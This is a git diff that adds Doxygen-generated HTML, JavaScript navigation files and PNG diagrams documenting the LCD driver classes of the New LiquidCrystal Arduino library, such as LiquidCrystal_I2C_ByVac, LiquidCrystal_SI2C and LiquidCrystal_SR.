"class_liquid_crystal___i2_c.html#ab15622287533de7a47f3e2012ebf18be", null ], + [ "begin", "class_liquid_crystal___i2_c.html#aeee2ada537f0cfbfda8613324b57c4a6", null ], + [ "send", "class_liquid_crystal___i2_c.html#a8bf1fab7efe13e8b17b96c42d1f810b4", null ], + [ "setBacklight", "class_liquid_crystal___i2_c.html#af11b8fa0082616e2b6e6e4238589d8a8", null ], + [ "setBacklightPin", "class_liquid_crystal___i2_c.html#a2eaf86f62d1f169b3763b03fbf88f70b", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.png new file mode 100644 index 0000000000000000000000000000000000000000..b5a4174bbb11b415e8709ad4851a0fb75913f0ca GIT binary patch literal 603 zcmeAS@N?(olHy`uVBq!ia0vp^`9R#k!3-qtMY(1GDTx4|5ZC|z{{xvX-h3_XKQsZz z0^SDr48Ar*{o=RPc3tsubG{#9oG_xi`P zR|uX^&GgzndtOAO`JgX+2|9Q;+e_i~| zf9sdO-g!*N^Zd*&xtlgmSRy{Ny1u$6SJ89*ho3(#seASpe5?(x^SUJNIbY@HL_5z< zk9qe6d37=;w23NANVvc27*}(xc!{|n=fiFOS3m)IY;|6=&# zA>SbXl38Md&S@cz?wOGiFO7{qKTiLBsb=T&zXWlqJtBJ0(yz6DW`TC4cR}Frz znt79b$$S1^k3N0gcE9P{{Fyhed(59XQy#35cVBAcGz*5b2u3E(Z)>yH7~Cko*vhrI zcE6qdW%dUiaQi+e*D}<>9n-+LbczrMt3nUZX&=qv<4wM2Z(J&Vz;^4_{ky*Av)%j6 zz?QREzO4GeZr&{RzDKvsPG0=Dro7)OKmPsO#5an6(%-T5)!u$^Z2R@w?pJqiKmK>g zuF}ePuOCU + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_I2C_ByVac Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_I2C_ByVac, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_I2C_ByVacvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_I2C_ByVac(uint8_t lcd_Addr)LiquidCrystal_I2C_ByVac
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_I2C_ByVacvirtual
setBacklight(uint8_t value)LiquidCrystal_I2C_ByVacvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setContrast(uint8_t value)LiquidCrystal_I2C_ByVac
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html new file mode 100644 index 0000000..c140a4e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html @@ -0,0 +1,381 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_I2C_ByVac Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_I2C_ByVac Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_I2C_ByVac:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr)
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklight (uint8_t value)
 
void setContrast (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For BV4218, the address can be configured using the address commands (to be implemented).
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C_ByVac::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+
+virtual
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C_ByVac::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_I2C_ByVac::setBacklight (uint8_t value)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight.

+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_I2C_ByVac::setContrast (uint8_t value)
+
+

Switch-on/off the LCD contrast. Switch-on/off the LCD contrast.

+
Parameters
+ + +
valuecontrast mode (HIGH|LOW)
+
+
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js new file mode 100644 index 0000000..7466790 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js @@ -0,0 +1,8 @@ +var class_liquid_crystal___i2_c___by_vac = +[ + [ "LiquidCrystal_I2C_ByVac", "class_liquid_crystal___i2_c___by_vac.html#a29c027cc8bfa78bb8d9ff3124fe83a31", null ], + [ "begin", "class_liquid_crystal___i2_c___by_vac.html#a34ce9cf919b9f8de59f842a4e94c1abb", null ], + [ "send", "class_liquid_crystal___i2_c___by_vac.html#a9e64cc68ec5df1a0fa421a242239b1b1", null ], + [ "setBacklight", "class_liquid_crystal___i2_c___by_vac.html#a9b16e6ce123e2ebe3a3e33b2306e66a7", null ], + [ "setContrast", "class_liquid_crystal___i2_c___by_vac.html#a53c79a20e8d21d2c3bc9e6d0dfc79cb4", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.png new file mode 100644 index 0000000000000000000000000000000000000000..44537f6222c017b94feecd31484dd83caf658cbe GIT binary patch literal 730 zcmeAS@N?(olHy`uVBq!ia0vp^bAY&mgBeJwDi(bLQW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;o~Y#ln<_-666)4F-c_dl*uamn(Cf%ZYR!mZVm5C^Q`JtEUKNF zP?Y-bzeSBqe}>nj_KiiGZ^n6Cisp$e_Wtt9Y0@8_?wC`am*PJuKXpo3ty0SkG9bur zlFgDiDwQ32;a-}Kj1ni96|^QkmFquHHu34ayu!Cmr&G5v{qV44;MZh-p!k%*W{FHg z`xNF66N(t*g7^+NpJJ>)lKi8#GjrCm6$UeB9#wgI<_yr}nKRo3i&E_?|E)cGFD>m^ z>XJJ#cKp$qY2U<{pY}0q3pF;D*Gx})rU+8~=l{)JZ?grzTN-c92Md6;Pcb(BED)PF zYni4719K&Vi|VF3j|Fe&ZMt(=cU^48&NE>Q^29g|3gm*Wuy}Yt9yw*3b^1;^1*$L~e9)3IB zew{93)S|+RIab?>w*LN>wrY{S`T3BOx?ijAB|rI9Ue~1dNdLsuhdU-`D_x(vJ@bw0 z%Zf_zouy}EmC8B4NEf}fwh*iT&Y7pY{cgbXvkW_zJytiro6B%qrMgn`QQ6tG=QqwX zRgU?R|HSU>waa(Pv)^&NT6gVA|Jzk{(cRx>t^L}!&*bgT>vx|^{m$)(+s1VDee3yS z4f?0Uop(I7+nwC!{oT80=clJCaXae;w$K0ckiEkV7)g-${mH!SYyGPEd!0gn36a6m L)z4*}Q$iB}JO5IE literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html new file mode 100644 index 0000000..f8d58d4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html @@ -0,0 +1,143 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SI2C Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SI2C, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_SI2Cvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SI2C(uint8_t lcd_Addr)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SI2C)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SI2C)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SI2C)LiquidCrystal_SI2C
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SI2Cvirtual
setBacklight(uint8_t value)LiquidCrystal_SI2Cvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_SI2Cvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html new file mode 100644 index 0000000..dc5de2d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html @@ -0,0 +1,536 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SI2C Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_SI2C Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SI2C:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SI2C (uint8_t lcd_Addr)
 
LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)
 
LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t value, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_SI2C::LiquidCrystal_SI2C (uint8_t lcd_Addr)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SI2C::LiquidCrystal_SI2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SI2C::LiquidCrystal_SI2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
d4[in]LCD data 0 pin map on IO extender module
d5[in]LCD data 1 pin map on IO extender module
d6[in]LCD data 2 pin map on IO extender module
d7[in]LCD data 3 pin map on IO extender module
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SI2C::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+
+virtual
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SI2C::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SI2C::setBacklight (uint8_t value)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SI2C::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
)
+
+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters
+ + +
0backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js new file mode 100644 index 0000000..8404479 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js @@ -0,0 +1,13 @@ +var class_liquid_crystal___s_i2_c = +[ + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#ac77c2e6cca626aeae8838769fb70f7be", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#a79edfbd0842a34f10265cb65576d4879", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#aa1a837dec506f9c459605c7bd4b7fe8c", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#a806579792d7a37fecdb21e115ec62cf7", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#ac0e7a4841e03a4e4916c66ff48ea53e9", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#a85bdea23d3121833d512af3760bd0592", null ], + [ "begin", "class_liquid_crystal___s_i2_c.html#a74fde8669f097755a6e8a376bb2877cb", null ], + [ "send", "class_liquid_crystal___s_i2_c.html#aa882cbbbb14985cab8432686723beaf9", null ], + [ "setBacklight", "class_liquid_crystal___s_i2_c.html#afa64775ef5faa3646385506b4adf7f2d", null ], + [ "setBacklightPin", "class_liquid_crystal___s_i2_c.html#a80adc9d27907d9145ad208eba4ae2ffa", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.png new file mode 100644 index 0000000000000000000000000000000000000000..63f46f7cbafd4eefd75fd20d1aee628330983bf6 GIT binary patch literal 615 zcmeAS@N?(olHy`uVBq!ia0vp^Z=NoWAr*{o=U&{j%7BN#{3XxN|MvU3 z9HL$I7iB){v20%|;x%oGNW7pRCxfA}v|rWPGk<;>-`gp%-On~R?Hk+s>hHRb_Za<; zFTY+pm)Usp|Idx()AD*}-jtqGzkmCj+sDql(RlvJH-Ev(7$uOtXlO8te0u;(kVuA4V!%!7+ETpYr4ri*_+{fB=Fw+ z)z7~$@hD)k{Ew&p0Y?`XCI^N#kc$rOt-Tzx{%lMe!}lwj&wfq)a;7L=_`yBy4Tq%? z>u<~}m#w`m$Moi@wf?%)2iM*^+4Uii~2-gx$C}S-F?+B|9-K~dV9eA&F1%aGT(0&e0^T~0Qb2n o`@gH6zgK9mw|^ljD0$xg@4`giy$O{}z*NED>FVdQ&MBb@05=sdApigX literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html new file mode 100644 index 0000000..e4f75ac --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html @@ -0,0 +1,138 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR(uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)LiquidCrystal_SR
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SRvirtual
setBacklight(uint8_t mode)LiquidCrystal_SRvirtual
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystal_SRvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html new file mode 100644 index 0000000..1667c57 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html @@ -0,0 +1,366 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_SR Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t pin, t_backlighPol pol)
 
void setBacklight (uint8_t mode)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata,
uint8_t srclock,
uint8_t enable = TWO_WIRE 
)
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]optional direct enable pin for the LCD
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR::setBacklight (uint8_t mode)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
modebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::setBacklightPin (uint8_t pin,
t_backlighPol pol 
)
+
+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

Warning
Currently not supported
+
Parameters
+ + + +
modebacklight mode (HIGH|LOW)
polbacklight polarity
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.cpp
  • +
+
